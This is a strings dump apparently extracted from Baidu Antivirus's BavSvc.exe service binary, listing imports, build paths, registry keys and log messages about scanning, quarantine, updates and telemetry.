sqlite3_column_text

sqlite3_column_text16

sqlite3_release_memory

CREATE TABLE IF NOT EXISTS av_object(GUID BLOB PRIMARY KEY,AVOBJECT BLOB)

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btengine\DataUtil\SQL_AVObjectUtil.cpp

CREATE TABLE IF NOT EXISTS rpt_record(file_id BLOB PRIMARY KEY,record BLOB)

AVRecords.proto

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btengine\DataUtil\AVRecords.pb.cc

.BaiduAVData.AVObject"

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\_bavfr

[BAVFR]GetBavFR failed! RegOpenKeyExA failed!

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btcommon\BasicComponent\BavLogReporter\report_113_item.pb.cc

report.Report113Item

{4B1BC635-7555-4a6b-8503-768A266DCA61}

\\.\root\SecurityCenter

[BavSvc.exe]:call m_lpOAStatus->Register failed, result value:0xx.

[BavSvc.exe]:call m_lpAVStatus->Register failed, result value:0xx.

[BavSvc.exe]:call m_pSvc->GetObject failed, result value:0xx.

[BavSvc.exe]:call clsObj->SpawnInstance failed, result value:0xx.

[BavSvc.exe]:call m_pSvc->PutInstance failed, result value:0xx.

AntiVirusProduct.instanceGuid="

WindowsFirewallAppIsEnabled failed: 0xlx

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavOutput\Pdb\Release\BavSvc.pdb

SHDeleteKeyW

SHLWAPI.dll

PSAPI.DLL

WTSAPI32.dll

USERENV.dll

BavQv.dll

pdh.dll

IMM32.dll

GetWindowsDirectoryW

GetProcessHeap

WaitNamedPipeW

DisconnectNamedPipe

CreateNamedPipeW

ConnectNamedPipe

SetNamedPipeHandleState

KERNEL32.dll

MsgWaitForMultipleObjectsEx

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCloseKey

RegEnumKeyExW

RegOpenKeyW

ImpersonateNamedPipeClient

RegCreateKeyExW

RegQueryInfoKeyW

RegDeleteKeyW

RegOpenKeyExA

RegCreateKeyW

ADVAPI32.dll

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

WS2_32.dll

SETUPAPI.dll

VERSION.dll

msi.dll

CryptMsgGetParam

CertFindCertificateInStore

CertGetNameStringW

CertFreeCertificateContext

CertCloseStore

CryptMsgClose

CRYPT32.dll

GetCPInfo

GetConsoleOutputCP

.?AV?$CSafeSingleton@VBugReportHelper@@@@

.?AVCHeapMemAlloc@BugReportHelper@@

.?AVBugReportHelper@@

zcÁ

.?AUUsbMonMsgToUi@UsbNotify@AV_UI_protocol@@

.?AV?$_Impl2@U?$_Callable_obj@V?$_Bind@U_Notforced@tr1@std@@V?$_Bind3@U?$_Callable_pmf@Q8IPCMsg@@AEXPAXAAUData@ipc@@@ZV1@$0A@@tr1@std@@PAVIPCMsg@@V?$_Ph@$00@23@V?$_Ph@$01@23@@23@@tr1@std@@$0A@@tr1@std@@XPAXAAUData@ipc@@V?$allocator@H@3@@tr1@std@@

.?AV?$CSafeSingleton@VCCommDataReport@@@@

.?AVCCommDataReport@@

.?AV?$CHipsPathArray@VCHipsExTipsItem@BAVHipsMsg@@@BAVHipsMsg@@

.?AVCHipsExVirusTipsReq@BAVHipsMsg@@

.?AVCHipsExTipsItem@BAVHipsMsg@@

.?AUUiMsgToUsbMon@UsbNotify@AV_UI_protocol@@

.?AUEcho@QuaFileOperation@AV_UI_protocol@@

.?AUEcho@GetUrlTrustItem@AV_UI_protocol@@

.?AUEcho@SetUrlTrustItem@AV_UI_protocol@@

.?AUUiMsgToSvc@MemScanNotify@AV_UI_protocol@@

.?AUCall@SetUrlTrustItem@AV_UI_protocol@@

.?AUCall@GetUrlTrustItem@AV_UI_protocol@@

.?AUCall@QuaFileOperation@AV_UI_protocol@@

.?AUKrnMsg@Msg@KRN_UI_protocol@@

.?AV?$_Bind@U_Notforced@tr1@std@@V?$_Bind3@U?$_Callable_pmf@Q8IPCMsg@@AEXPAXAAUData@ipc@@@ZV1@$0A@@tr1@std@@PAVIPCMsg@@V?$_Ph@$00@23@V?$_Ph@$01@23@@23@@tr1@std@@

.?AVReport117Item@report@@

.?AVReportBody@report@@

.?AVReportHead@report@@

.?AVReportItem@report@@

.?AVReport11Item@report@@

.?AVCHipsLogUserAction@BAVHipsMsg@@

.?AV?$CHipsPathArray@VCScanItem@BAVHipsMsg@@@BAVHipsMsg@@

.?AVCHipsScanArray@BAVHipsMsg@@

.?AVCHipsUpLoadFiles@BAVHipsMsg@@

.?AV?$CHipsPathArray@VCHipsPathItem@BAVHipsMsg@@@BAVHipsMsg@@

.?AVCScanItem@BAVHipsMsg@@

.?AVCHipsPathItem@BAVHipsMsg@@

.?AVReport175Item@report@@

.?AVReport131Item@report@@

.?AUPIPEINST2@@

.?AVReport113Item@report@@

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSvc.exe

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

BSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

version.xml

BugReport

ShowBugReport

DumpConfig.ini

_ServerStore.dat

BugReportConfig.ini

CrashUL.exe

BugReportConfig

serverreported

/Start:%s /Program:%s /Path:%s /Version:%s /Module:%s /App:%s /ID:%s /Email:%s /DumpPath:%s

trayreported

Intdll.dll

CrashReport.exe

\StringFileInfo\x\%s

\StringFileInfo\X

BavDllFilter.dll

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

BavCommon.dll

PatchExportTable

JPatchMyImportTables

%S$%x

advapi32.dll

public %s

sub_%0X

%sloc_%0X

loc_%0X:

push %seg

pop %seg

setÌ

cmovÌ

66006666

xmm%d

st(%d)

%s (%0Xh)

 %0Xh

-%0Xh

%s:%s

%0Xh:%0Xh

%0Xh, %0Xh

BAD ptr %s

oword ptr %s

tbyte ptr %s

qword ptr %s

dword ptr %s

word ptr %s

byte ptr %s

KVisual C   CRT: Not enough memory to complete call to strerror.

KERNEL32.DLL

mscoree.dll

cKernel32.dll

SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

cNtdll.dll

weburl

defensereport

keyloggerdefense

ReportConfigTime

DoConfigReport

PopMsgInfoPickCount

user name: %s, domain: %s

WTSEnumerateSessions failed, error code:%u

WTSEnumerateSessions OK, %u sessions

%dth session: %s, id:%d, state:%d

OnSessionLogon, session id: %d

OnSessionLogoff, session id: %d

OnSessionConnect, session id: %d

StartAppForUser: %s, thread id: %u

CreateEnvironmentBlock failed, error code:%u, thread id: %u

CreateProcessAsUser for %s OK., thread id: %u

explorer.exe

CreateProcessAsUser failed, error code:%u, thread id: %u

LookupPrivilegeValue error: %u

AdjustTokenPrivileges error: %u

Enter StartAppForActiveUser, thread id: %u

Before WTSQueryUserToken, thread id: %u

QueryUserToken failed, error code:%u, thread id: %u

GetTokenInformation failed, error code:%u, thread id: %u

StartAppForActiveUser: %s, thread id: %u

Leave StartAppForActiveUser, thread id: %u

"%s" found, session id: %u, process id: %u

winlogon.exe

Process token open Error: %u

Lookup Privilege value Error: %u

OnShutdown, thread id: %u

DuplicateTokenEx Error: %u

CreateEnvironmentBlock Failed: %u

CreateProcessAsUser Failed, error code: %u

OnInit, thread id: %u

IEngineReport

[BavSvc.exe]: Failed to create CMaliciousPlugGather::MaliciousPlugGather thread!

p[BavSvc.exe]: Failed to SetThreadPriority: 0x%x

p[BavSvc.exe]: Failed to resume scan thread: 0x%x

p[BavSvc.exe]: Do not need to scan for malicious plug-ins.

\plugscan\wl.dat

[BavSvc.exe]: Failed to Load BavPc.dll

[BavSvc.exe]: Start MaliciousPlug Gather.

p[BavSvc.exe]: Failed to Load BavPc.dll

|%d|%s

Send notify to UI error!, msg type is %d

pLastReportTime

LastReportTime

\plugscan\BavPc.dll

\StringFileInfo\xx\%s

CUpdateManager::InitUpdate_: Call CommonUtil::GetBasePath failed(X).

CUpdateManager::InitUpdate_: Call CreateThread failed(x).

CUpdateManager::InitUpdate_: End(x).

get_process_by_name_: Call CreateToolhelp32Snapshot failed(x).

get_process_by_name_: Call Process32First failed(x).

get_process_by_name_: We found process(%s).

get_process_by_name_: We found error process(%s).

BavUpdater.exe

CUpdateManager::HandleUpdateRouteThread_: Call CBavConfigIni::SetInt failed(0x%x).

CUpdateManager::HandleUpdateRouteThread_: Set config file %s is %d.

CUpdateManager::HandleUpdateRouteThread_: The process(%s) is exist.

CUpdateManager::HandleUpdateRouteThread_: It is time to connect server(send auto update, get popup msg.

"%s" %s

CUpdateManager::creeate_process_as_user_: Call Session_Token::StartAppActiveUser_Safe_Ex(%s) failed(0x%x).

CUpdateManager::creeate_process_as_user_: Call Session_Token::StartAppActiveUser_Safe_Ex(%s) OK.

_tcsdup %d

CUpdateManager::creeate_process_as_user_: Session_Token_DLL::WTSQueryUserToken_Safe(%d) %d

CUpdateManager::creeate_process_as_user_: Call CommonUtil::GetActiveDesktopToken failed %d

CUpdateManager::creeate_process_as_user_: CreateEnvironmentBlock failed(%d)

CUpdateManager::creeate_process_as_user_: OpenProcessToken %d

CUpdateManager::creeate_process_as_user_: DuplicateTokenEx %d

CUpdateManager::creeate_process_as_user_: SetTokenInformation %d

CUpdateManager::creeate_process_as_user_: CreateProcessAsUser(%s) failed(%d).

CUpdateManager::creeate_process_as_user_: CreateProcessAsUser(%s) OK.

\\.\SysPrj

Kernel32.dll

[BavSvc.exe]:New usbdisk insert, %s %s %s.

[BavSvc.exe]:Phone Usb Disk Safe remove, %s.

[BavSvc.exe]:Phone Usb Disk insert pc, %s.

[BavSvc.exe]:usbdisk saferemove, %s.

[BavSvc.exe]:New usbdisk insert, %s.

[BavSvc.exe]:usbdisk remove, %s.

\AutoRun.inf

AutoRun.inf

shellexecute

AutoRun.Amd64

Trojan.Win64.Autorun.gen

Trojan.Win32.Autorun.gen

\\.\C:

y\\.\pipe\baidu_hm#hm#hm_baidu

\\.\pipe\baidu_hm#hm#hm_baidu

BSRCUD|%d

Ntdll.dll

\EXPLORER.EXE

[BavSvc.exe]:safe remove disk faied, errcode:%d errinfo:%s.

*.exe

[BavSvc.exe]end scan usbdisk:%s, devid:%s

[BavSvc.exe]start scan usbdisk:%s devid:%s

[BavSvc.exe]create usbdisk scan thread failed, send scan end msg.

[BavSvc.exe]:Usb Disk Protect NamePipe Init, %d.

[BavSvc.exe] UsbDisk Protect NamePipe Uninitialized.

Close notify handle: %d

[BavSvc.exe]:SetSystemAutoPlayNotify in, value:%d.

\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

pCHipsScanner::HipsScanCallback %s 0xx

pCHipsScanner::HipsScanCallback %s bad file treat as clean

p\\.\SysPrj

pCHipsScanner::UploadInfo Report File %s

CHipsScanner::HipsLogUserAction GetItem %d Error

%s/%s/%d

CHipsScanner::HipsLogUserAction NetKill %x

pCHipsScanner::HipsLogUserAction Version:%s

CHipsScanner::HipsScanFiles GetItem %d Error

pScanItem %s result=%d, VirName=%s

pInternalItem %s result=%d, VirName=%s

ScanFile %d %s %x

pHips Scan Task From BHipsSvc %d Flag:%x

pScanModulePath %d %s %x

pScanStackModule %d %s %x

pScanTarget %d %s %x

pScanning msg id: %d, result: 0x%X

Init scanner task 0x%x error: %d

pScanning hips file: %s, result: 0xx

\version.xml

bd_hips_ui_4F994BDF-5E33-4989-9AE5-E470E8444D08

\BdFsFilterScannerPort

\BdFsFilterSfPort

\BdFsMonitorPort

\BdFsFilterSfPortEx

\explorer.exe

Repeatedly reported: %s

:\windows

:\windows\system32

:\windows\syswow64

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

ParentKeyName

OperatingSystem

[BavSvc.exe]:fitst install oa process create scan end.

OperationsScanTime

IsOperationsScan

[BavSvc.exe]:operations oa process create scan end.

BavFi.dll

BavBh.dll

Baidu url filter::

%s unloadModule BAVURL Module

EnableIndexRule failed to open driver: 0x%x

EnableIndexRule failed to send driver: 0x%x

bavul.dll

%s Failed to LoadLibrary %s: 0x%x

%s Failed to GetProcAddress of DllGetClassObject: 0x%x

%s Failed to DllGetClassObject of BavOs: 0x%x

BavOa.dll

%s Load filter module failed!

%s start filter driver failed!

Create %d tasks for realtime scanner.

%s Init on-access scanner%d failed!

%s Start filter manager failed!

oa scanner 0x%x is not initialized

Link file is skip: %s

bdappdownloader.exe

PCAppStore.exe

[BavSvc.exe]:file:%s is sfxfile, async cloud.

[BavSvc.exe]:BavBh checker file:%s is safe, async cloud.

[BavSvc.exe]:BavBh checker file:%s is Risk, sync cloud.

Send command: %d

Send bypass path to drivers failed!

SetFileCache: %s, result: %d

%s Init ScanCachedImage on-access scanner failed!

taskscanner 0x%x start to scan process

failed to lockfile %s

locked %s

taskscanner 0x%x has scanned %d images

failed to convert nt name from: %s, error code: 0x%x

failed to deal with long path: %s, error code: 0x%x

unlocked %s

RepeatTaskThread:receive a report and exit event, bav is been uninstalling

RepeatTaskThread:reporting active message.

it is time to report using log.

RepeatTaskThread: reporting user behavior logs.

RepeatTaskThread: retry to report active

RepeatTaskThread: retry to report behavior

try to kill virus, image: %s

exception happened while killing virus, %s, image: %s

Failed to handle obj: %s, type:%d

handling file info, repair id:%d, scanner:0x%x, res:0x%x, name:%s, referer:%s

Failed to quarantine obj: %s

succeed to clean LSP entry of %s

the virus file is already handled: %s

Can not find the virus file: %s

Failed to disinfect obj: %s, err:0x%x

Failed to delete obj: %s, try to rename it

Invoke MoveFileEx to delete file on reboot failed. ErrorCode: 0x%x

request an instant reporting task

finish an instant reporting task

Failed to handle obj after reboot:%s

Succeed to delete obj after reboot:%s

BavClean.dll

RPT: cloud request non-black sample to report: %s

RPT: Setup pack request non-black sample to report: %s

RPT: User select to report

\data\EngineRpt.cfg

hXXp://up.bav.baidu.com

UploadServerURL

hXXp://update.bav.baidu.com

ServerURL

hXXp://upf.bav.baidu.com

FileServerURL

upcloud.security.baidu.co.th

CloudBlackCountQueryURL

Communication.dll

ERROR: Failed to set report thread priority: 0x%x

log_lwlh.dat

log_fcf.dat

log_scf.dat

log_lwsh.dat

log_fcaf.dat

log_scaf.dat

BavUp.dll

uf.dat

BavCns.dll

[BavSvc.exe]CReportInfo::InitReportQueryModule LoadLibrary fails

[BavSvc.exe]CReportInfo::InitReportQueryModule GetProcAddress fails

[BavSvc.exe]CReportInfo::InitReportQueryModule GetClassObject fails

[BavSvc.exe]CReportInfo::InitReportQueryModule BavCns InitEngine fails

[BavSvc.exe]:File is too big, filter by max upload file size.

[BavSvc.exe]:File is too big, filter by max cache file size.

[BavSvc.exe]:File is too big, filter by max hips upload file size.

[BavSvc.exe]:File is too big, filter by max cloud upload file size.

[BavSvc.exe]:File is too big, filter by max virus upload file size.

[BavSvc.exe]:File is too big, filter by max setup upload file size.

[BavSvc.exe]:File is too big, filter by max local micro sign upload file size.

[BavSvc.exe]:File is too big, filter by max lave disk space file size.

RPT: Calc md5 failed when save it to report db, file: %s.

RPT: No need to report file in package: %s

FileSize too big %s

RPT: No need to report setup pack file:%s

File %s does not exist.

RPT: No need to report file: %s, status: 0x%x

RPT: Failed to GetFileAttributesEx, errcode: 0x%x

RPT: The file %s is modified, we will not upload it

RPT: Quarantine object to temp path error. Orgin file: %s, Qurantine file: %s

RPT: object is too big. Orgin file: %s

\MSPR.dat

MiniSetupREx.ini

InstallerREx.ini

MiniSetupR.ini

InstallerR.ini

/cgi-bin/get_black_query_count.cgi

[CReportInfo]: GetYesterdayCloudBlackQueryCount Call ProcessSyncReq failed(x)

\config.ini

Failed to ImpersonateLoggedOnUser, error code: 0x%x

pFailed to createfile: %s, code: 0x%x

pFailed to ImpersonateLoggedOnUser, error code: 0x%x

\BavTray\skin.xml

Failed to open resource file: %s, code: 0x%x

config.ini

%u|%u|%u|%u

%s|%u|%u|%u|%u|%u|%u|%u

%d update events is pushed to userlogs.

pconfig.ini

numr.dat

strr.dat

vf.dat

saving number userlogs to %s.

saving string userlogs to %s.

psaving vf userlogs to %s.

uploading number userlogs file: %s

p\*.*

BavStrLog.dat

uploading string userlogs file: %s

uploading file_hit_stat file: %s

p000.dat

failed to upload file_hit_stat file: %s

uploading vf userlogs file: %s

%s|%s

\ac.dat

saving file hits statistics %s.

saving micro sign hits statistics %s.

Failed to report active user

report this machine as an active user.

p[BavSvc.exe]: Push MaliciousPlugId is: %s

[BavSvc.exe]: Push PushMaliciousPluginFail is: %s

%s|%d|%s

[BavSvc.exe]: Push BrowserHome str is %s:

pstrr.dat

pup.dat

ud.dat

tr.dat

vr.dat

hr.dat

rr.dat

cr.dat

Failed to add task start log, taskID: 0x%x, scanfile:%s

Failed to query task start log, taskID: %d, scanfile:%s

Begin to Add one scan task finished log to file : 0x%x, 0x%x

pEnd to Add one scan task finished log to file : 0x%x

pFailed to add task finish log, taskID: %d, scanfile:%s

pfailed to GlobalAlloc HCOUNTER: 0x%x

pscan resource consumption, total cpu: %d dimi, bavsvc cpu: %d dimi, total mem: %d KB, bavsvc mem: %d KB

pFailed to handle this file: %s

pFailed to Update AddOneAVObject: %s

pFailed to DeleteOneAVObject: %s

pfailed to fulsh virus log to %s

pfailed to flush virus log to %s

pfailed to fulsh virus log to report db.

pFailed to AddUpdateLog for %s

pFailed to DelUpdateLog for %s

Failed to AddUsbDiskLog for %s

pFailed to DelUsbDiskLog for %s

pFailed to delete log %s, error: 0x%x

RPT:Not a file: %s

pRPT:Not a PE: %s

pRPT:user trust/ignore this file: type:0x%x Hash:%s, scanres:0x%x, scanner:0x%x, path:%s

pRPT:the trust file is not a PE: %s

pRPT:user select to ignore this task scan result: 0x%x

pRPT:The file is hanlded, no need to report: %s

Global\Bav_UN_OP_MUTEX_82903275-78C2-4c10-B101-A5E63C00DB2F

Global\Bav_UN_Client_Event_B858FCB2-024A-4681-88E5-E1F972FE981E

Global\Bav_UN_Server_Event_29309FFE-F85F-48db-ACD9-BCEB41082352

Global\Bav_UN_Map_File_07AA3BEF-76AE-4894-8027-BD98C9E0952C

bavupdater.exe

Global\Bav_UN_Sign_CB3EF0CC-E419-4b9e-AA21-0F5A5B04E164

%s_%s_%s_%d_%d

Version: s, App name: %s

uuid: %s

userconfig.ini

BavTray.exe

sntdll.dll

BavSvc create fails err %d, quit.

BHipsSvc.exe

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

\BavTray.exe" -auto

BHipsSvc handle : 0x%x

Stat service: %s

Failed to start service: %s

[BavSvc.exe]:%s

\BavSvc.exe

\BavCloud.exe

\BavUpdater.exe

\Feedback.exe

\CrashUL.exe

Baidu BlueScreen Reporter

\BavBSReport.exe

\CrashReport.exe

\CrashReport64.exe

eBavUpdater.exe

exception notify UI, when scanning %s

can not SendResponse to 0x%x, stop scanning.

The pipe channel is interrupted: %d

stopping interrupted task: 0x%x

uninitializing the scanner of interrupted task: 0x%x

bd_av_ui_8EABE9C4-D18C-4f07-8353-831B9A8ED29A

Failed to GetClientPipeHandle

BavSvc.exe

Failed to GetExitCodeProcess %s, error code: 0x%x

Create notify handle: %d

Failed to CreateProcess %s, error code: 0x%x

Received Hips Msg:%s From %s

IPCMsg::OnReloadScanner_: NOTIFY_UPDATE id = %d, percent = %d

IPCMsg::OnReloadScanner_: NOTIFY_UPDATE Call IPCMsg::GetInstance()->SendNotify failed.

View task 0x%x report to file: %s

View update report to file: %s

View UsbDisk report to file: %s

delete udpate history logs

Failed to SetThreadPriority: 0x%x

Failed to resume scan thread: 0x%x

Failed to GetCurrentThread: 0x%x

Failed to OpenThreadToken: 0x%x

Failed to DuplicateToken: 0x%x

Failed to ImpersonateNamedPipeClient: 0x%x

Delete hips file: %s, result: 0x%x

IPCMsg::OnHandleHipsMsg ADD_OA_TRUST_LIST %s

[NoDisturb] Receive process message %s!

FileShredder.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

CreateProcess %d

BavCommon_DLL::Session_Token_DLL::WTSQueryUserToken_Safe(%d) %d

Call CommonUtil::GetActiveDesktopToken failed %d

CreateEnvironmentBlock %d

OpenProcessToken %d

DuplicateTokenEx %d

SetTokenInformation %d

CreateProcessAsUser %d

[BavSvc.exe]TaskManager::InitTask 0x%x, dwScannerType:0x%x ,is already existed, %d scanners existed

pInitTask: 0x%x, dwScannerType:0x%x, %d scanners existed

pInitTask: 0x%x, dwScannerType:0x%x ,is already existed, %d scanners existed

pInitTask failed: 0x%x, dwScannerType:0x%x, dwRet: 0x%x

pUnInitTask: 0x%x

pScanProfile failed: 0x%x, szProfile:%s, not init

pScanProfile failed: 0x%x, szProfile:%s, scanner is busy

pScanFile failed: 0x%x, szProfile:%s, not ready scanner

pScanProfile: 0x%x, szProfile:%s

pScanProfile failed: 0x%x, szProfile:%s, it is uninit

pScanProfile finished: 0x%x, szProfile:%s

p[BavSvc.exe]:On demand scan end,taskid:0xx.

pScanFile TaskID: 0x%x, szFile:%s

pScanFile failed: 0x%x, szFile:%s, not inited scanner

pScanFile failed: 0x%x, szFile:%s, busy scanner

pScanFile failed: 0x%x, szFile:%s, not ready scanner

ScanProfile failed: 0x%x, szProfile:%s, it is uninit

pScanReg TaskID: 0x%x, szFile:%s

pscanning reg value: %s

pscanning reg path: %s

ResumeTask: 0x%x

pStopTask: 0x%x

pPauseTask: 0x%x

pTaskManager::Disinfect, record hips file,action:%d, %s

pDisinfect: can not QueryVirusDetectedLog: %s, return OK.

pDisinfect: QueryVirusDetectedLog: %s - %s, already handled, return OK.

pDisinfect: reboot is required for this virus: %s, return OK.

pDisinfect task: 0x%x, GUID: %s, file: %s dwAction: %d, dwDisinfectable:%d

ForceDisinfect action:0x%x, file:%s

pAddTrustItem: %s, dwObjType: %d

RemoveTrustItem: %s, dwObjType: %d

pGetTrustItems: %s, %s

pRPT:SetTrustInfo2, TrustType: 0x%x, dwOperation:0x%x, taskid:0x%x, objName:%s

pReloadScanner request, dwScannerType: %d

pSetProtectOption request, OptionID: 0x%x, value: %d

pweburl

DrvInst.dll

the current value %d is set

CloudQueryURL

pSetNetworkSetting request, OptionID: 0x%x, value: %d

hXXp://f.bav.baidu.com

hXXp://

pSetEngineOption request, ScanType: %d, OptionID: 0x%x, value: %d

poption set - taskid: 0x%x, OptionID: 0x%x, value: %d

[BavSvc.dll] TaskManager::Init LoadBavCFModule successful

pSetScannerOption request, dwScanner: %d, OptionID: 0x%x, value: %d

pservice stop: stopping reporting

pservice stop: stopped reporting

BavCF.dll

First WSCEnumProtocols Error: 0x0x%x

GlobalAlloc in EnumLspDll Error: 0x0x%x

Second WSCEnumProtocols Error: %d

WSCGetProviderPath Error: %d

WSAStartup Error: 0x0x%x

Open WINSOCK_NAMESPACE registry error: 0x%x

succeed to emum Winsock LSP dlls %d

CleanLspEntry: First WSCEnumProtocols Error: 0x%x

CleanLspEntry: GlobalAlloc in EnumLspDll Error: 0x%x

CleanLspEntry: Second WSCEnumProtocols Error: %d

CleanLspEntry: WSCGetProviderPath Error: %d

CleanLspEntry: WSCDeinstallProvider Error: %d

can not support to enumerate scheduler task in this windows OS.

failed to CoCreateInstance CLSID_CTaskScheduler: %d

failed to Enum IEnumWorkItems: %d

failed to CoCreateInstance CLSID_TaskScheduler: %d

failed to Connect task service: %d

failed to GetFolder of task service: %d

Failed to enum subkeys of %s

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_CONFIG

HKEY_CLASSES_ROOT

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

Failed to resolve the registry: %s

failed to open reg key: %s

Failed to disinfect reg location: %s in obj: %s

Disinfect reg, the SubKey %s has been deleted.

failed to disinfect reg:%s

Can not find evildata: %s in reg data: %s

find a reserved path: %s

fs.dat

Failed to read profile from %s

objects to scan in profile:%s,%s

scan a shell folder:%s

Can not enumerate scheduled task: %s

Can not enumerate winsock lsp: %s

can not get shellfolder of %s

Can not scan profile recursively: %s

unknown object type: %s

can not get responding shellfolder of %s

Shell32.dll

Failed to GetModuleHandle of Shell32.dll when ExpandWinShellFolder: 0x%x

Failed to GetProcAddress of SHGetKnownFolderPath when ExpandWinShellFolder: 0x%x

GetLogicalDrives() failed with error code: 0x%x

device is not ready for scanning: %s, 0x%x

start to scan the area: %s

Catagory splitter profile: %s

punknown object type: %s

pthe repairing obj info, repair id:%d, scanner:0x%x, res:0x%x, name:%s

pfirst repaired info, repair id:%d, scanner:0x%x, res:0x%x, name:%s, dwRet: 0x%x

pavira repaired info, repair id:%d, scanner:0x%x, res:0x%x, name:%s, dwRet: 0x%x

pvirus is re-repired by avira after bavas repaired: %s, status: 0x%x

pvirus undisinfectable is found by avira after bavas repaired: %s, status: 0x%x

pavira rescan info, repair id:%d, scanner:0x%x, res:0x%x, name:%s, dwRet: 0x%x

pVirus is found again by avira after disinfected: %s

[BavSvc.exe] TaskScanner::Init CreateEvent Failed.

IsAcceptUserPackPassWord

HeurLevel

pHit filefilter,status: 0x%x, file: %s

Find a resvered name path: %s%s

p\\?\

pfile got:%s

psmss.exe

Bprotect ScanProcess has scanned %d images, 0x%x

pfailed to OpenProcess %s

CreateToolhelp32Snapshot ScanProcess has scanned %d images

pFailed to SetThreadPriority: 0x%x

pFailed to resume scan thread: 0x%x

pTask 0x%x is long time no response

pFailed to wait for scan thread: 0x%x

pMalware.Program.Setthreat.x

[BavSvc.exe]:current rand number:%d

p[BavSvc.exe]:current rand number be upload.

:\Windows

\progress.dat

Using process.dat to count files: %d, file: %s

Using changeJournal to count files: %d, return: 0x%x

Using CountFilesInDir to count files: %d, return: 0x%x

[BavSvc.exe]:Bavmem scan result virus name:%s bIsInfectAll:%d

\BavMem.dll

\mm.dat

[BavSvc.exe]:start scan mem.

[BavSvc.exe]:start Repair mem.

[BavSvc.exe]:DeviceIoControl result success, control code:%d

[BavSvc.exe]:DeviceIoControl result failed, control code:%d, error code:%d

[BavSvc.exe]:Init Drv Com Failed, errcode:%d.

[BavSvc.exe]:SetSystemProcessRunControl call in, param:%d

[BavSvc.exe]: SetSystemProcessRunControl failed, drv handle null.

[BavSvc.exe]: DeviceIoControl failed, errorcode:%d.

[BavSvc.exe]: _beginthreadex failed, errorcode:%d.

[BavSvc.exe]:Init MemScan Engine Failed.

The waiting thread increase to: %d

Waiting for other Scanner scanning: %s

The waiting thread decrease to: %d

The waiting result is: 0x%x

found %s need to %s

er.dat

the folder/file is filtered: %s

\.(.HT\w*|386|ACM|ADE|ADP|ANI|APP|ASD|ASF|ASP|ASX|AWX|AX|BAS|BAT|BIN|BOO|CDF|CHM|CLASS|CMD|CNV|COM|CPL|CPX|CRT|CSH|DLL|DLO|.DO\w*|DRV|EMF|EML|EXE\w*|FAS|FLT|FOT|HLP|HT\w*|INF|INI|INS|ISP|J2K|JAR|JFF|JFI|JFIF|JIF|JMH|JNG|JP2|JPE|JPEG|JPG|JS\w*|JSE|LNK|LSP|MD.|MDB|MOD|MS.|NWS|OBJ|OCX|OLB|OSD|OV.|PCD|PDF|.PDR|PGM|PHP|PIF|PKG|PL\w*|PNG|POT\w*|PPAM|PPS\w*|PPT\w*|PRG|RAR|.REG|RPL|RTF|SBF|SCR|SCRIPT|SCT|SH|SHA|SHB|SHS|SHTM\w*|SIS|SLD|SPL|SWF|SYS|TLB|TMP|TSP|TTF|URL|VB.|VCS|VLM|VXD|VXO|WIZ|WLL|WMD|WMF|WMS|WMZ|WPC|WSC|WSF|WSH|WWK|XL\w*|XML|XXX|ZIP)$

File Format %s is filtered: %s

USN: Failed to FSCTL_QUERY_USN_JOURNAL, err:0x%x

USN: succeed to get data, total: %d, dir: %d

USN:loading database file: %s

USN:failed to create file: %s, err:0x%x

USN:failed to CreateFileMapping, err:0x%x

USN: top nod, dir: %s

USN:failed to MapViewOfFile, err:0x%x

USN:unloading database file: %s

USN:saving to file: %s

USN:failed to CreateFileMapping err:0x%x

USN:failed to MapViewOfFile err:0x%x

USN: succeed to save data, dir: %d

USN:this drive is not DRIVE_FIXED, %s

USN:this drive is not NTFS but: %s, %s

USN:failed to CreateFileW %s, err:0x%x

%s (%d)

USN:rebuilded data:%s

USN:count:%d, file:%s

[BavSvc.exe]:BavBsr scan Result:0xx %s

[BavSvc.exe]:CBsrScan::ScanComplete callback.

p\BsrScan\BavBsr.dll

[BavSvc.exe]:CBsrScan::InitBavBsrEngine LoadLibrary failed.

[BavSvc.exe]:CBsrScan::InitBavBsrEngine GetProcAddress failed.

[BavSvc.exe]:CBsrScan::InitBavBsrEngine GetClassObject failed.

[BavSvc.exe]:CBsrScan::InitBavBsrEngine GetObject failed.

[BavSvc.exe]:CBsrScan::InitBavBsrEngine Initialize failed.

p[BavSvc.exe]:%s

[BavSvc.exe]:init bavbsr failed.

[BavSvc.exe]:stop call bavbsr scan.

[BavSvc.exe]:Close session failed.

[BavSvc.exe]:BavBsr CreateSession Failed.

[BavSvc.exe]:BavBsr start scan, sessionId:0x6I64x

[BavSvc.exe]:Failed to StopScan:m_lpBavBsrScan:0xx m_sessionId:0xx m_dwTaskId:0xx

[BavSvc.exe]:BavBsr stop scan, sessionId:0x6I64x

[BavSvc.exe]:BavBsr pause scan, sessionId:0x6I64x

[BavSvc.exe]:BavBsr resume scan, sessionId:0x6I64x

BavScan.dll

[BavSvc.exe]BavScanCaller::GlobalInit Failed to load BavScan.dll: 0x%x

[BavSvc.exe]BavScanCaller::GlobalInit Failed to GetProcAddress of DllGetClassObject: 0x%x

[BavSvc.exe]BavScanCaller::GlobalInit Failed to DllGetClassObject of BavScan: 0x%x

[BavSvc.exe]BavScanCaller::GlobalUninit Failed to uninitialize bavscan

kernel32.dll

dark.dll

Key :

pProcess = %s OpenProcess Error

